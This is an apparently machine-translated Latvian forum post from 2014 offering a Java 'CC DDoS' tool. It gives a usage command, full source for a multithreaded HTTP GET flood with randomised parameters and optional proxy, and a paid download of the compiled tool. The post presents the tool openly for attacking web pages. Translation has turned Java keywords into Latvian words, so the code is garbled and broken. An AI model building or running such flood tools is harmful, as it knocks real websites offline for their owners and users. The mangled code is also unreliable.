|
|
Publicēts 01.12.2014 15:21:57
|
|
|

Jar kods dDOS uzbrukums, ko īstenoja java. Tomēr tas neatšķiras no tradicionālajiem dDo. Šī programmatūra ir DDOS uzbrukums lapai. Kā lietot: java -jar ccddos.jar www.xxx.com 80 10 /index.do lietotājvārds=xxx 80
[mw_shl_code=java,true]importēt java.io.IOException; importēt java.net.ConnectException; importēt java.net.InetSocketAddress; importēt java.nio.ByteBuffer; importēt java.nio.channels.SelectionKey; importēt java.nio.channels.Selector; importēt java.nio.channels.SocketChannel; importēt java.util.Iterator; importēt java.util.Random; importēt java.util.Set; importēt java.util.Timer; importēt java.util.TimerTask; importēt java.util.Vector;
/** * Dēmonu pavedieni
* * @author administrēšana
* */ publiskās klases tests { privāts stīgu saimnieks, uri, param; privāta int osta; privātais galīgais vektors<CCDDOSThread> v = jauns vektors <CCDDOSThread>(); privāts InetSocketAddress isa; privātie int pavedieniSkaits = 500; Vītņu skaits privāts Random r = jauns Random(); privāts ilgs taimauts = 5000l;
/** * Atveriet uzbrukumu */ publisks anulēts sākums() { for (int i = 0; i < pavedieniCount; i++) { CCDDOSThread t = jauns CCDDOSThread(); v.add(t); t.starts();
} Taimeris t = jauns taimeris(); t.schedule(jauns TimerTask() { publiskais anulēšanas skrējiens() { int skaits = 0, taimauta pavedieni = 0; garš ct = System.currentTimeMillis(); for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); if (th.isCancle() || !th.isAlive()) { it.remove(); th = nulle; skaits++; } else if (ct - th.start > taimauts) { Taimauts, ārējais beigas taimauta pavedieni++; th.setCancle (taisnība); th.pārtraukt (); it.remove(); th = nulle; skaits++; } } if (skaits == 0) { atgriezt; } System.out.println("Pavediens ir aizvērts:"+count+", kur ir pievienots taimauta pavediens:" + taimauta pavedieni); for (int i = 0; Es < skaitu; i++) { CCDDOSThread th = jauns CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println("Dēmona pavediens sākts:"); }
/** * @param argumenti */ public static void main(String[] args) { if (args.length < 6) { System.out.println("Instrukcijas:"); Sistēma.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } else if (args.length >= 8) { Iestatīšana ar aģentu System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", argumenti[6]); System.getProperties().setProperty("http.proxyPort", argumenti[7]); }
tests m = jauns tests(); m.host = argumenti[0]; m.port = Integer.valueOf(argumenti[1]); m.uri = argumenti[3]; m.param = argumenti[4]; m.threadsCount = Integer.valueOf(argumenti[2]); m.taimauts = Long.valueOf(argumenti[5]); m.isa = jauns InetSocketAddress(m.host, m.port); m.sākums(); }
/** * Uzbrukuma pavedieni * * @author Zhanghongbo * */ klase CCDDOSThread paplašina Thread { privāts Būla kanklis = nepatiess; publiskais ilgais sākums = System.currentTimeMillis();
publiskā tukšuma kopaCancle(Būla kancle) { this.cancle = kancle; }
publiskais Būla isCancle() { atgriešanās kancle; }
publiskais anulēšanas skrējiens() { ilgs sākums = System.currentTimeMillis(); Selektora selektors; izmēģināt { selektors = Selector.open(); SocketChannel sc; izmēģināt { sc = SocketChannel.open(isa); } nozveja (ConnectException ex) { System.out.println(ex.getMessage()); cancle = patiess; selector.close(); atgriezt; }
sc.configureBlocking(false); sc.register(selektors, SelectionKey.OP_WRITE | SelectionKey.OP_READ); pagaidiet: kamēr (selector.select() > 0 && !cancle) { if (System.currentTimeMillis() - sākums > taimauts) { cancle = patiess; pārtraukuma gaidīšana; } Set<?> readykey = selector.selectedKeys(); Iterators<?> it = readykey.iterator(); kamēr (it.hasNext() && !cancle) { if (System.currentTimeMillis() - sākums > taimauts) { cancle = patiess; pārtraukuma gaidīšana; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Virknes galva = "GET " + uri + "?" + parametrs + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Resursdators: " + resursdators + "\r\n" + "Savienojums:tuvu\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write(bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} catch (IOException ex) { cancle = patiess; } } }
} [/mw_shl_code]
Gatavā produkta un avota koda lejupielāde:
java ddos.zip
(8.42 KB, Lejupielādes skaits: 0, Pārdošanas cena: 2 Graudi MB)
|
Iepriekšējo:Parunāsim par lielāko 400G noslēpumaino DDoS uzbrukumu vēsturēNākamo:Nosūtiet iPhone 6, lai runātu par artefaktu plaisas punktu bezmaksas versiju
|